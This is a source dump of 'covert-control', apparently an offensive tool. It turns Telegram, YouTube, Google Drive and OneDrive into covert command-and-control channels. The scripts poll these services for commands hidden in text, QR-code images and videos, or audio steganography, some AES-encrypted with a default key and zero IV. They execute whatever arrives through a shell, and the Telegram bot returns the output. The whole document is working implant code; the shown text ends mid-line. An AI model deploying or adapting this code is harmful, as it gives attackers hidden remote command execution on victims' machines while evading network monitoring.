├── test_files ├── text.txt ├── text_encrypted.txt ├── audio.wav ├── image.png ├── video.avi ├── audio_encrypted.wav ├── image_encrypted.png └── video_encrypted.avi ├── config.py ├── covert-telegram.py ├── covert-youtube.py ├── read_file.py ├── covert-googledrive.py ├── covert-onedrive.py ├── generate_file.py └── README.md /test_files/text.txt: -------------------------------------------------------------------------------- 1 | whoami 2 | -------------------------------------------------------------------------------- /test_files/text_encrypted.txt: -------------------------------------------------------------------------------- 1 | qh+u0N6adJzsCvABvv8PNg== 2 | -------------------------------------------------------------------------------- /test_files/audio.wav: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ricardojoserf/covert-control/HEAD/test_files/audio.wav -------------------------------------------------------------------------------- /test_files/image.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ricardojoserf/covert-control/HEAD/test_files/image.png -------------------------------------------------------------------------------- /test_files/video.avi: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ricardojoserf/covert-control/HEAD/test_files/video.avi -------------------------------------------------------------------------------- /test_files/audio_encrypted.wav: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ricardojoserf/covert-control/HEAD/test_files/audio_encrypted.wav -------------------------------------------------------------------------------- /test_files/image_encrypted.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ricardojoserf/covert-control/HEAD/test_files/image_encrypted.png -------------------------------------------------------------------------------- /test_files/video_encrypted.avi: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ricardojoserf/covert-control/HEAD/test_files/video_encrypted.avi -------------------------------------------------------------------------------- /config.py: -------------------------------------------------------------------------------- 1 | ## Common 2 | ### Data type options: "text", "text_encrypted", "image", "image_encrypted", "audio", "audio_encrypted", "video" or "video_encrypted" 3 | data_type = "text" 4 | delay_seconds = 300 5 | aes_key = "covert-control21" 6 | debug = True 7 | 8 | ## Google Drive 9 | googledrive_folder = "" 10 | 11 | ## OneDrive 12 | onedrive_folder = "" 13 | 14 | ## Youtube 15 | youtube_channel_id = "" 16 | youtube_api_key = "" 17 | 18 | ## Telegram 19 | telegram_token = "" 20 | telegram_username = "" 21 | -------------------------------------------------------------------------------- /covert-telegram.py: -------------------------------------------------------------------------------- 1 | from telegram.ext import Updater, CommandHandler 2 | from telegram.ext.dispatcher import run_async 3 | from Crypto.Cipher import AES 4 | import subprocess 5 | import datetime 6 | import config 7 | import base64 8 | import sys 9 | 10 | 11 | configured_username = "" 12 | 13 | 14 | def decrypt_text(encrypted_text): 15 | try: 16 | enc = base64.b64decode(encrypted_text) 17 | cipher = AES.new(config.aes_key, AES.MODE_CBC, chr(0) * 16) # yes, IV is all zeros xD 18 | dec = cipher.decrypt(enc) 19 | unpad = lambda s: s[:-ord(s[len(s)-1:])] 20 | return unpad(dec).decode('utf-8') 21 | except: 22 | now = datetime.datetime.now() 23 | print("[%02d:%02d:%02d] AES decryption was unsuccessful"%(now.hour,now.minute,now.second)) 24 | return "echo 'AES decryption was unsuccessful'" 25 | 26 | 27 | def exec_cmd(command): 28 | try: 29 | sub_ = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE) 30 | subprocess_return = sub_.stdout.read() 31 | return subprocess_return.decode("utf-8") 32 | except: 33 | return "There was an error executing the command" 34 | 35 | 36 | def encrypted(update, context): 37 | msg_username = update.message.from_user.username 38 | if configured_username != "" and msg_username != configured_username: 39 | print("[-] ERROR: Message received from %s but the script only allows requests from user %s"%(msg_username, configured_username)) 40 | return 41 | chat_id = update.message.chat_id 42 | command = decrypt_text(" ".join(context.args)) 43 | subprocess_return = exec_cmd(command) 44 | context.bot.sendMessage(chat_id, subprocess_return) 45 | 46 | 47 | def cmd(update, context): 48 | msg_username = update.message.from_user.username 49 | if configured_username != "" and msg_username != configured_username: 50 | print("[-] ERROR: Message received from %s but the script only allows requests from user %s"%(msg_username, configured_username)) 51 | return 52 | chat_id = update.message.chat_id 53 | command = " ".join(context.args) 54 | subprocess_return = exec_cmd(command) 55 | context.bot.sendMessage(chat_id, subprocess_return) 56 | 57 | 58 | def main(): 59 | global configured_username 60 | if len(sys.argv) >= 2: 61 | token = sys.argv[1] 62 | else: 63 | token = config.telegram_token 64 | if len(sys.argv) >= 3: 65 | configured_username = sys.argv[2] 66 | else: 67 | configured_username = config.telegram_username 68 | if token == "": 69 | print("[-] ERROR: It is necessary to use the Telegram bot token as input parameter or add the value to the parameter 'telegram_token' in config.py") 70 | sys.exit(1) 71 | updater = Updater(token, use_context=True) 72 | dp = updater.dispatcher 73 | dp.add_handler(CommandHandler('cmd',cmd)) 74 | dp.add_handler(CommandHandler('encrypted',encrypted)) 75 | updater.start_polling() 76 | updater.idle() 77 | 78 | 79 | if __name__ == '__main__': 80 | main() -------------------------------------------------------------------------------- /covert-youtube.py: -------------------------------------------------------------------------------- 1 | from __future__ import unicode_literals 2 | import read_file 3 | import youtube_dl 4 | import datetime 5 | import requests 6 | import urllib 7 | import config 8 | import json 9 | import time 10 | import sys 11 | import os 12 | 13 | debug = config.debug 14 | 15 | 16 | def get_first_video_in_channel(api_key, channel_id): 17 | base_video_url = 'https://www.youtube.com/watch?v=' 18 | base_search_url = 'https://www.googleapis.com/youtube/v3/search?' 19 | url = base_search_url + "part=snippet&channelId={}&maxResults=1&order=date&type=video&key={}".format(channel_id,api_key) 20 | resp = requests.get(url).json() 21 | if 'error' in resp: 22 | print("ERROR: " + str(resp['error']['message'])) 23 | sys.exit(1) 24 | if (resp['items'] != []): 25 | title = resp['items'][0]['snippet']['title'] 26 | video_id = resp['items'][0]['id']['videoId'] 27 | video_url = base_video_url + video_id 28 | now = datetime.datetime.now() 29 | if debug: print("[%02d:%02d:%02d] Last video title: %s" % (now.hour,now.minute,now.second,title)) 30 | if debug: print("[%02d:%02d:%02d] Last video url: %s" % (now.hour,now.minute,now.second,video_url)) 31 | return video_url 32 | else: 33 | now = datetime.datetime.now() 34 | if debug: print("[%02d:%02d:%02d] No videos uploaded yet" % (now.hour,now.minute,now.second)) 35 | return "" 36 | 37 | 38 | def download_video(video_url, downloaded_video_path): 39 | now = datetime.datetime.now() 40 | if debug: print("[%02d:%02d:%02d] New video! Downloading file to: %s"%(now.hour,now.minute,now.second,downloaded_video_path)) 41 | ydl_opts = {'outtmpl': downloaded_video_path, 'quiet': 'any_printing'} 42 | with youtube_dl.YoutubeDL(ydl_opts) as ydl: 43 | ydl.download([video_url]) 44 | 45 | 46 | def analyze(downloaded_video_path): 47 | data_type = config.data_type 48 | if data_type == "video": 49 | commands = read_file.read_video("qr", downloaded_video_path, "/tmp/") 50 | elif data_type == "video_encrypted": 51 | commands = read_file.read_video("qr_aes", downloaded_video_path, "/tmp/") 52 | return commands 53 | 54 | 55 | def execute_commands(commands): 56 | for cmd_ in commands: 57 | now = datetime.datetime.now() 58 | if debug: print("[%02d:%02d:%02d] Command: %s"%(now.hour,now.minute,now.second,cmd_)) 59 | os.system(cmd_) 60 | 61 | 62 | def wait_for_upload(original_video_url, api_key, channel_id, delay_seconds, downloaded_video_path): 63 | now = datetime.datetime.now() 64 | if debug: print("[%02d:%02d:%02d] Waiting %s seconds..."%(now.hour,now.minute,now.second,delay_seconds)) 65 | while True: 66 | time.sleep(delay_seconds) 67 | video_url = get_first_video_in_channel(api_key, channel_id) 68 | if video_url != original_video_url: 69 | now = datetime.datetime.now() 70 | download_video(video_url, downloaded_video_path) 71 | time.sleep(5) 72 | commands = analyze(downloaded_video_path) 73 | if commands == "unknown_type": 74 | if debug: print("[-] Error: Unknown type of video") 75 | break 76 | execute_commands(commands) 77 | os.remove(downloaded_video_path) 78 | original_video_url = video_url 79 | else: 80 | now = datetime.datetime.now() 81 | if debug: print("[%02d:%02d:%02d] No new video uploaded. Waiting %s seconds..."%(now.hour,now.minute,now.second,delay_seconds)) 82 | 83 | 84 | def main(): 85 | delay_seconds = config.delay_seconds 86 | downloaded_video_path = "./test.mp4" 87 | if len(sys.argv) == 3: 88 | channel_id = sys.argv[1] 89 | api_key = sys.argv[2] 90 | else: 91 | channel_id = config.youtube_channel_id 92 | api_key = config.youtube_api_key 93 | if channel_id == "" or api_key == "": 94 | print("[-] ERROR: It is necessary to use the Youtube channel ID and the API key as input parameters or add the values to the parameters 'youtube_channel_id' and 'youtube_api_key' in config.py") 95 | sys.exit(1) 96 | data_type = config.data_type 97 | if data_type != "video" and data_type != "video_encrypted": 98 | print("[-] ERROR: Unsupported value for data_type. For the Youtube option it should be 'video' or 'video_encrypted'") 99 | sys.exit(1) 100 | original_video_url = get_first_video_in_channel(api_key, channel_id) 101 | wait_for_upload(original_video_url, api_key, channel_id, delay_seconds, downloaded_video_path) 102 | 103 | 104 | if __name__== "__main__": 105 | main() 106 | -------------------------------------------------------------------------------- /read_file.py: -------------------------------------------------------------------------------- 1 | from pyzbar.pyzbar import decode 2 | from Crypto.Cipher import AES 3 | from PIL import Image 4 | from glob import glob 5 | import datetime 6 | import base64 7 | import config 8 | import random 9 | import struct 10 | import wave 11 | import cv2 12 | import re 13 | import os 14 | 15 | 16 | def get_frames(video_path, imagesFolder): 17 | cap = cv2.VideoCapture(video_path) 18 | frameRate = int(cap.get(cv2.CAP_PROP_FPS)) 19 | images_counter = 0 20 | while(cap.isOpened()): 21 | frameId = cap.get(1) 22 | ret, frame = cap.read() 23 | if (ret != True): 24 | break 25 | if (frameId % frameRate == 0): 26 | images_counter += 1 27 | filename = imagesFolder + "/image_" + str(int(images_counter)) + ".png" 28 | height, width, layers = frame.shape 29 | size = (width,height) 30 | cv2.imwrite(filename, frame) 31 | cap.release() 32 | return images_counter 33 | 34 | 35 | def read_frames(image_type, imagesFolder): 36 | natsort = lambda s: [int(t) if t.isdigit() else t.lower() for t in re.split('(\d+)', s)] 37 | commands = [] 38 | for filename in sorted(glob(imagesFolder+'/*.png'), key=natsort): 39 | if image_type == "qr": 40 | text = decode(Image.open(filename))[0].data.decode() 41 | elif image_type == "qr_aes": 42 | encrypted_text = decode(Image.open(filename))[0].data.decode() 43 | text = decrypt_text(encrypted_text) 44 | else: 45 | print("[-] Error: Unknown type") 46 | return "unknown_type" 47 | commands.append(text) 48 | return commands 49 | 50 | 51 | def clean_images(images_counter, imagesFolder): 52 | for i in range(1, images_counter+1): 53 | os.remove(imagesFolder + "/image_" + str(int(i)) + ".png") 54 | 55 | 56 | def read_video(image_type, video_path, imagesFolder): 57 | images_counter = get_frames(video_path, imagesFolder) 58 | commands = read_frames(image_type, imagesFolder) 59 | clean_images(images_counter, imagesFolder) 60 | return commands 61 | 62 | 63 | def decrypt_text(encrypted_text): 64 | try: 65 | enc = base64.b64decode(encrypted_text) 66 | cipher = AES.new(config.aes_key.encode("utf-8"), AES.MODE_CBC, (chr(0) * 16).encode("utf-8")) # yes, IV is all zeros xD 67 | dec = cipher.decrypt(enc) 68 | unpad = lambda s: s[:-ord(s[len(s)-1:])] 69 | return unpad(dec).decode('utf-8') 70 | except: 71 | now = datetime.datetime.now() 72 | if config.debug: print("[%02d:%02d:%02d] AES decryption was unsuccessful. Maybe you uploaded an unecrypted file?"%(now.hour,now.minute,now.second)) 73 | return "" 74 | 75 | 76 | def get_text(text_path): 77 | return open(text_path).read().splitlines() 78 | 79 | 80 | def decrypt_list(encrypted_list): 81 | decrypted_list = [] 82 | for encrypted_text in encrypted_list: 83 | decrypted_list.append(decrypt_text(encrypted_text)) 84 | return decrypted_list 85 | 86 | 87 | def read_text(text_type, text_path): 88 | commands = "" 89 | if text_type == "text": 90 | commands = get_text(text_path) 91 | elif text_type == "text_encrypted": 92 | encrypted_commands = get_text(text_path) 93 | commands = decrypt_list(encrypted_commands) 94 | return commands 95 | 96 | 97 | def read_image(image_type, image_path): 98 | text = decode(Image.open(image_path))[0].data.decode() 99 | if image_type == "qr": 100 | return [text] 101 | elif image_type == "qr_aes": 102 | return [decrypt_text(text)] 103 | 104 | 105 | def binary_to_ascii(binary_list): 106 | all_str = ''.join([str(i) for i in binary_list]) 107 | return ''.join([chr(int(all_str[i:i+7],2)) for i in range(0, len(all_str), 7)]) 108 | 109 | 110 | def process_wav(path): 111 | with wave.open(path, "rb") as wav: 112 | nchannels, sampwidth, framerate, nframes, _, _ = wav.getparams() 113 | all_bytes = wav.readframes(-1) 114 | framewidth = sampwidth * nchannels 115 | frames = (all_bytes[i * framewidth: (i + 1) * framewidth] for i in range(nframes)) 116 | binary_output = [] 117 | for frame in frames: 118 | binary_val = struct.unpack('h',frame)[0] 119 | binary_output.append(binary_val) 120 | return binary_output 121 | 122 | 123 | def read_audio(audio_type, audio_path): 124 | binary_output = process_wav(audio_path) 125 | result_ascii_value = binary_to_ascii(binary_output) 126 | if audio_type == "audio_encrypted": 127 | result_ascii_value = decrypt_text(result_ascii_value) 128 | return [result_ascii_value] 129 | 130 | 131 | def main(): 132 | print(read_text("text", "test1.txt")) 133 | print(read_text("text_encrypted", "test2.txt")) 134 | print(read_video("qr", "test3.avi", ".")) 135 | print(read_video("qr_aes", "test4.avi", ".")) 136 | print(read_image("qr", "test5.png")) 137 | print(read_image("qr_aes", "test6.png")) 138 | print(read_audio("audio","test7.wav")) 139 | print(read_audio("audio_encrypted","test8.wav")) 140 | 141 | 142 | if __name__== "__main__": 143 | main() -------------------------------------------------------------------------------- /covert-googledrive.py: -------------------------------------------------------------------------------- 1 | from __future__ import unicode_literals 2 | from bs4 import BeautifulSoup 3 | import read_file 4 | import requests 5 | import datetime 6 | import urllib 7 | import config 8 | import time 9 | import sys 10 | import os 11 | 12 | debug = config.debug 13 | 14 | 15 | def execute_commands(commands): 16 | for cmd_ in commands: 17 | now = datetime.datetime.now() 18 | if debug: print("[%02d:%02d:%02d] Command: %s"%(now.hour,now.minute,now.second,cmd_)) 19 | os.system(cmd_) 20 | 21 | 22 | def analyze(downloaded_file): 23 | data_type = config.data_type 24 | commands = [] 25 | if data_type == "text" or data_type == "text_encrypted": 26 | if not downloaded_file.endswith(".txt"): 27 | now = datetime.datetime.now() 28 | if debug: print("[%02d:%02d:%02d] Incorrect extension. Expected: %s"%(now.hour,now.minute,now.second,".txt")) 29 | else: 30 | commands = read_file.read_text(data_type, downloaded_file) 31 | elif data_type == "image" or data_type == "image_encrypted": 32 | if not downloaded_file.endswith(".png"): 33 | now = datetime.datetime.now() 34 | if debug: print("[%02d:%02d:%02d] Incorrect extension. Expected: %s"%(now.hour,now.minute,now.second,".png")) 35 | else: 36 | if data_type == "image": 37 | commands = read_file.read_image("qr", downloaded_file) 38 | elif data_type == "image_encrypted": 39 | commands = read_file.read_image("qr_aes", downloaded_file) 40 | elif data_type == "video" or data_type == "video_encrypted": 41 | if not downloaded_file.endswith(".avi"): 42 | now = datetime.datetime.now() 43 | if debug: print("[%02d:%02d:%02d] Incorrect extension. Expected: %s"%(now.hour,now.minute,now.second,".avi")) 44 | else: 45 | if data_type == "video": 46 | commands = read_file.read_video("qr", downloaded_file, "/tmp/") 47 | elif data_type == "video_encrypted": 48 | commands = read_file.read_video("qr_aes", downloaded_file, "/tmp/") 49 | elif data_type == "audio" or data_type == "audio_encrypted": 50 | if not downloaded_file.endswith(".wav"): 51 | now = datetime.datetime.now() 52 | if debug: print("[%02d:%02d:%02d] Incorrect extension. Expected: %s"%(now.hour,now.minute,now.second,".wav")) 53 | else: 54 | commands = read_file.read_audio(data_type, downloaded_file) 55 | else: 56 | if debug: print("[%02d:%02d:%02d] Unexpected data_type value: %s"%(now.hour,now.minute,now.second,data_type)) 57 | return commands 58 | 59 | 60 | def download_file(file_url, downloaded_file_path): 61 | now = datetime.datetime.now() 62 | if debug: print("[%02d:%02d:%02d] New file! Downloading to: %s"%(now.hour,now.minute,now.second,downloaded_file_path)) 63 | with requests.get(file_url, stream=True) as r: 64 | r.raise_for_status() 65 | with open(downloaded_file_path, 'wb') as f: 66 | for chunk in r.iter_content(chunk_size=8192): 67 | f.write(chunk) 68 | 69 | 70 | def get_files(url): 71 | data = requests.get(url) 72 | soup = BeautifulSoup(data.text, 'html.parser') 73 | files_list = [] 74 | counter = 0 75 | divs = soup.findAll("div") 76 | for d in divs: 77 | if d.has_attr('data-id'): 78 | counter+=1 79 | fileid = d['data-id'] 80 | filename = d.findAll("div",{"data-tooltip-unhoverable":"true"})[0]['data-tooltip'] 81 | download_url = "https://drive.google.com/uc?id="+fileid+"&authuser=0&export=download" 82 | files_list.append({"name":filename,"id":fileid,"url":download_url}) 83 | return files_list 84 | 85 | 86 | def wait_for_upload(delay_seconds, download_dir, url): 87 | now = datetime.datetime.now() 88 | if debug: print("[%02d:%02d:%02d] Waiting %s seconds..."%(now.hour,now.minute,now.second,delay_seconds)) 89 | files_initial = get_files(url) 90 | while True: 91 | time.sleep(delay_seconds) 92 | files_now = get_files(url) 93 | if len(files_now) > len(files_initial): 94 | new_files = [item for item in files_now if item not in files_initial] 95 | for file in new_files: 96 | downloaded_file = download_dir+"/"+str(file['name']) 97 | download_file(str(file['url']), downloaded_file) 98 | time.sleep(2) 99 | commands = analyze(downloaded_file) 100 | execute_commands(commands) 101 | os.remove(downloaded_file) 102 | files_initial = files_now 103 | else: 104 | now = datetime.datetime.now() 105 | if debug: print("[%02d:%02d:%02d] No new file uploaded. Waiting %s seconds..."%(now.hour,now.minute,now.second,delay_seconds)) 106 | 107 | 108 | def main(): 109 | download_dir = "." 110 | if len(sys.argv) == 2: 111 | url = sys.argv[1] 112 | else: 113 | url = config.googledrive_folder 114 | if url == "": 115 | print("[-] ERROR: It is necessary to use the Google Drive public folder as input parameter or add the value to the parameter 'googledrive_folder' in config.py") 116 | sys.exit(1) 117 | delay_seconds = config.delay_seconds 118 | wait_for_upload(delay_seconds, download_dir, url) 119 | 120 | 121 | if __name__== "__main__": 122 | main() -------------------------------------------------------------------------------- /covert-onedrive.py: -------------------------------------------------------------------------------- 1 | import urllib.parse as urlparse 2 | import read_file 3 | import requests 4 | import datetime 5 | import config 6 | import json 7 | import time 8 | import sys 9 | import os 10 | 11 | debug = config.debug 12 | 13 | 14 | def parse_vals(url): 15 | redir_url = requests.get(url, allow_redirects=True).url 16 | parsed = urlparse.urlparse(redir_url) 17 | params = urlparse.parse_qs(parsed.query) 18 | folder_id = params['resid'][0].split("!")[0] 19 | first_item_id = params['resid'][0].split("!")[1] 20 | authkey = params['authkey'][0] 21 | return folder_id, first_item_id, authkey 22 | 23 | 24 | def get_next_id(folder_id, first_item_id, authkey): 25 | max_files_to_check = 30 26 | for i in range(1,max_files_to_check): 27 | item_id = str(int(first_item_id)+i) 28 | folder_item_id = folder_id+"!"+item_id 29 | s_url = "https://api.onedrive.com/v1.0/drives/"+folder_id+"/items/"+folder_item_id+"?select=id%2C%40content.downloadUrl&authkey="+authkey 30 | json_file_data = json.loads(requests.get(s_url).content) 31 | if "error" not in json_file_data: 32 | file_url = json_file_data['@content.downloadUrl'] 33 | if debug: print("[+] File with id %s download url: %s"%(item_id, file_url)) 34 | else: 35 | next_id = str(int(first_item_id)+i) 36 | now = datetime.datetime.now() 37 | if debug: print("[%02d:%02d:%02d] It does not exist the item with id %s"%(now.hour,now.minute,now.second,str(next_id))) 38 | return next_id 39 | 40 | 41 | def download_file(file_url, downloaded_file_path): 42 | now = datetime.datetime.now() 43 | if debug: print("[%02d:%02d:%02d] New file! Downloading to: %s"%(now.hour,now.minute,now.second,downloaded_file_path)) 44 | with requests.get(file_url, stream=True) as r: 45 | r.raise_for_status() 46 | with open(downloaded_file_path, 'wb') as f: 47 | for chunk in r.iter_content(chunk_size=8192): 48 | f.write(chunk) 49 | 50 | 51 | def analyze(downloaded_file, temp_folder): 52 | data_type = config.data_type 53 | commands = [] 54 | if data_type == "text" or data_type == "text_encrypted": 55 | if not downloaded_file.endswith(".txt"): 56 | now = datetime.datetime.now() 57 | if debug: print("[%02d:%02d:%02d] Incorrect extension. Expected: %s"%(now.hour,now.minute,now.second,".txt")) 58 | else: 59 | commands = read_file.read_text(data_type, downloaded_file) 60 | elif data_type == "image" or data_type == "image_encrypted": 61 | if not downloaded_file.endswith(".png"): 62 | now = datetime.datetime.now() 63 | if debug: print("[%02d:%02d:%02d] Incorrect extension. Expected: %s"%(now.hour,now.minute,now.second,".png")) 64 | else: 65 | if data_type == "image": 66 | commands = read_file.read_image("qr", downloaded_file) 67 | elif data_type == "image_encrypted": 68 | commands = read_file.read_image("qr_aes", downloaded_file) 69 | elif data_type == "video" or data_type == "video_encrypted": 70 | if not downloaded_file.endswith(".avi"): 71 | now = datetime.datetime.now() 72 | if debug: print("[%02d:%02d:%02d] Incorrect extension. Expected: %s"%(now.hour,now.minute,now.second,".avi")) 73 | else: 74 | if data_type == "video": 75 | commands = read_file.read_video("qr", downloaded_file, temp_folder) 76 | elif data_type == "video_encrypted": 77 | commands = read_file.read_video("qr_aes", downloaded_file, temp_folder) 78 | elif data_type == "audio" or data_type == "audio_encrypted": 79 | if not downloaded_file.endswith(".wav"): 80 | now = datetime.datetime.now() 81 | if debug: print("[%02d:%02d:%02d] Incorrect extension. Expected: %s"%(now.hour,now.minute,now.second,".wav")) 82 | else: 83 | commands = read_file.read_audio(data_type, downloaded_file) 84 | else: 85 | if debug: print("[%02d:%02d:%02d] Unexpected data_type value: %s"%(now.hour,now.minute,now.second,data_type)) 86 | return commands 87 | 88 | 89 | def execute_commands(commands): 90 | for cmd_ in commands: 91 | now = datetime.datetime.now() 92 | if debug: print("[%02d:%02d:%02d] Command: %s"%(now.hour,now.minute,now.second,cmd_)) 93 | os.system(cmd_) 94 | 95 | 96 | def wait_for_upload(folder_id, next_id, authkey, temp_folder): 97 | delay_seconds = config.delay_seconds 98 | data_type = config.data_type 99 | if data_type == "text" or data_type == "text_encrypted": 100 | downloaded_file = temp_folder + "/test.txt" 101 | elif data_type == "image" or data_type == "image_encrypted": 102 | downloaded_file = temp_folder + "/test.png" 103 | elif data_type == "video" or data_type == "video_encrypted": 104 | downloaded_file = temp_folder + "/test.avi" 105 | elif data_type == "audio" or data_type == "audio_encrypted": 106 | downloaded_file = temp_folder + "/test.wav" 107 | now = datetime.datetime.now() 108 | if debug: print("[%02d:%02d:%02d] Waiting %s seconds..."%(now.hour,now.minute,now.second,delay_seconds)) 109 | while True: 110 | time.sleep(delay_seconds) 111 | folder_item_id = folder_id+"!"+next_id 112 | s_url = "https://api.onedrive.com/v1.0/drives/"+folder_id+"/items/"+folder_item_id+"?select=id%2C%40content.downloadUrl&authkey="+authkey 113 | if debug: print("[%02d:%02d:%02d] Checking url: %s"%(now.hour,now.minute,now.second,s_url)) 114 | json_file_data = json.loads(requests.get(s_url).content) 115 | if "error" not in json_file_data: 116 | file_url = json_file_data['@content.downloadUrl'] 117 | download_file(file_url, downloaded_file) 118 | commands = analyze(downloaded_file, temp_folder) 119 | execute_commands(commands) 120 | next_id = str(int(next_id)+1) 121 | os.remove(downloaded_file) 122 | now = datetime.datetime.now() 123 | if debug: print("[%02d:%02d:%02d] Waiting %s seconds..."%(now.hour,now.minute,now.second,delay_seconds)) 124 | else: 125 | now = datetime.datetime.now() 126 | if debug: print("[%02d:%02d:%02d] No new file uploaded. Waiting %s seconds..."%(now.hour,now.minute,now.second,delay_seconds)) 127 | 128 | 129 | def main(): 130 | temp_folder = "." 131 | if len(sys.argv) == 2: 132 | url = sys.argv[1] 133 | else: 134 | url = config.onedrive_folder 135 | if url == "": 136 | print("[-] ERROR: It is necessary to use the OneDrive public folder as input parameter or add the value to the parameter 'onedrive_folder' in config.py") 137 | sys.exit(1) 138 | folder_id, first_item_id, authkey = parse_vals(url) 139 | next_id = get_next_id(folder_id, first_item_id, authkey) 140 | wait_for_upload(folder_id, next_id, authkey, temp_folder) 141 | 142 | 143 | if __name__== "__main__": 144 | main() -------------------------------------------------------------------------------- /generate_file.py: -------------------------------------------------------------------------------- 1 | from Crypto.Cipher import AES 2 | from glob import glob 3 | import pyqrcode 4 | import argparse 5 | import base64 6 | import config 7 | import random 8 | import struct 9 | import string 10 | import wave 11 | import cv2 12 | import sys 13 | import os 14 | import re 15 | 16 | 17 | temp_folder = "." 18 | 19 | def encrypt_text(message, aes_key): 20 | message = message.encode() 21 | BS = 16 22 | pad = lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS).encode() 23 | raw = pad(message) 24 | cipher = AES.new(aes_key.encode("utf8"), AES.MODE_CBC, (chr(0) * 16).encode("utf8")) 25 | enc = cipher.encrypt(raw) 26 | return base64.b64encode(enc).decode('utf-8') 27 | 28 | 29 | def generate_frames(image_type, command): 30 | if command is None: 31 | images_counter = 0 32 | while True: 33 | cmd_ = input("Enter a command or 'exit' to generate video: ") 34 | images_counter += 1 35 | if cmd_ != "exit": 36 | temp_image_path = temp_folder+"/image_"+str(images_counter)+".png" 37 | create_image(cmd_, image_type, temp_image_path) 38 | else: 39 | return images_counter 40 | break 41 | else: 42 | temp_image_path = temp_folder+"/image_1.png" 43 | create_image(command, image_type, temp_image_path) 44 | return 1 45 | 46 | 47 | def create_video_file(video_file): 48 | img_array = [] 49 | natsort = lambda s: [int(t) if t.isdigit() else t.lower() for t in re.split('(\d+)', s)] 50 | for filename in sorted(glob(temp_folder+'/*.png'), key=natsort): 51 | img = cv2.imread(filename) 52 | height, width, layers = img.shape 53 | size = (width,height) 54 | img_array.append(img) 55 | fps = 1 56 | out = cv2.VideoWriter(video_file,cv2.VideoWriter_fourcc(*'DIVX'), fps, size) 57 | for i in range(len(img_array)): 58 | out.write(img_array[i]) 59 | out.release() 60 | 61 | 62 | def clean_images(images_counter, temp_folder): 63 | for i in range(1, images_counter+1): 64 | os.remove(temp_folder + "/image_" + str(int(i)) + ".png") 65 | 66 | 67 | def generate_video(image_type, video_file, temp_folder, command): 68 | images_counter = generate_frames(image_type, command) 69 | create_video_file(video_file) 70 | clean_images(images_counter, temp_folder) 71 | 72 | 73 | def get_text_lines(): 74 | cmd_list = [] 75 | while True: 76 | cmd_ = input("Enter a command or 'exit' to generate the text file: ") 77 | if cmd_ != "exit": 78 | cmd_list.append(cmd_) 79 | else: 80 | return cmd_list 81 | break 82 | 83 | 84 | def encrypt_list(cmd_list): 85 | encrypted_list = [] 86 | for cmd_ in cmd_list: 87 | encrypted_list.append(encrypt_text(cmd_,config.aes_key)) 88 | return encrypted_list 89 | 90 | 91 | def create_text_file(text_file, cmd_list): 92 | outfile = open(text_file, "w") 93 | for element in cmd_list: 94 | outfile.write(element + "\n") 95 | 96 | 97 | def generate_textfile(text_type, text_file, command): 98 | if command is None: 99 | cmd_list = get_text_lines() 100 | else: 101 | cmd_list = [command] 102 | if text_type == "text_encrypted": 103 | cmd_list = encrypt_list(cmd_list) 104 | create_text_file(text_file, cmd_list) 105 | 106 | 107 | def create_image(cmd_, image_type, image_file): 108 | if image_type == "qr": 109 | qrcode = pyqrcode.create(cmd_,version=10) 110 | qrcode.png(image_file,scale=8) 111 | elif image_type == "qr_aes": 112 | encrypted_cmd = encrypt_text(cmd_,config.aes_key) 113 | qrcode = pyqrcode.create(encrypted_cmd,version=10) 114 | qrcode.png(image_file,scale=8) 115 | else: 116 | print("[-] Unexpected image type :(") 117 | 118 | 119 | def generate_image(image_type, image_file, command): 120 | if command is None: 121 | cmd_ = input("Enter a command: ") 122 | else: 123 | cmd_ = command 124 | create_image(cmd_, image_type, image_file) 125 | 126 | 127 | def ascii_to_binary(ascii_value): 128 | all_str = ''.join([str(bin(ord(i))[2:]).zfill(7) for i in ascii_value]) 129 | return [int(c) for c in all_str] 130 | 131 | 132 | def create_wav(binary_list, path): 133 | noise_output = wave.open(path, 'w') 134 | noise_output.setparams((1, 2, 44100, 0, 'NONE', 'not compressed')) 135 | values = [] 136 | for i in binary_list: 137 | packed_value = struct.pack('h', i) 138 | values.append(packed_value) 139 | value_str = b"".join(values) 140 | noise_output.writeframes(value_str) 141 | noise_output.close() 142 | 143 | 144 | def generate_audio(file_type, outputfile, command): 145 | if file_type == "audio_encrypted": 146 | command = encrypt_text(command, config.aes_key) 147 | binary_list = ascii_to_binary(command) 148 | create_wav(binary_list, outputfile) 149 | 150 | 151 | def test(): 152 | generate_textfile("text", "test1.txt", "whoami") 153 | generate_textfile("text_encrypted", "test2.txt", "whoami") 154 | generate_video("qr", "test3.avi", temp_folder, "whoami") 155 | generate_video("qr_aes", "test4.avi", temp_folder, "whoami") 156 | generate_image("qr","test5.png", "whoami") 157 | generate_image("qr_aes","test6.png", "whoami") 158 | generate_audio("audio","test7.wav", "whoami") 159 | generate_audio("audio_encrypted","test8.wav", "whoami") 160 | 161 | 162 | def get_args(): 163 | parser = argparse.ArgumentParser() 164 | parser.add_argument('-t', '--type', required=True, default=None, action='store', help='Type of file: "video", "image" or "text".') 165 | parser.add_argument('-o', '--outputfile', required=False, default=None, action='store', help='Output file, with extensions: ".avi" for video, ".png" for image or ".txt" for text files.') 166 | parser.add_argument('-c', '--command', required=False, default=None, action='store', help='Command to execute.') 167 | parser.add_argument('-e', '--encrypted', required=False, default=False, action='store_true', help='Add this flag to encrypt the command with AES.') 168 | return parser 169 | 170 | 171 | def change_aes_key(): 172 | print("[+] Creating new AES key") 173 | config_lines = open("config.py").read().splitlines() 174 | new_config_lines = [] 175 | for l in config_lines: 176 | if not "aes_key" in l: 177 | new_config_lines.append(l) 178 | else: 179 | new_aes_key = ''.join(random.choices(string.ascii_letters + string.digits, k=16)) 180 | new_config_lines.append("aes_key = \""+new_aes_key+"\"") 181 | with open("config.py", "w") as outfile: 182 | outfile.write("\n".join(new_config_lines)) 183 | print("[+] New AES key: %s. Please run the program again :)"%(new_aes_key)) 184 | sys.exit(0) 185 | 186 | 187 | def main(): 188 | args = get_args().parse_args() 189 | file_type = args.type 190 | encrypted = args.encrypted 191 | outputfile = args.outputfile 192 | command = args.command 193 | if encrypted: 194 | file_type += "_encrypted" 195 | if config.aes_key == "covert-control21": 196 | change_key = input("[-] Using default AES key 'covert-control21', would you like 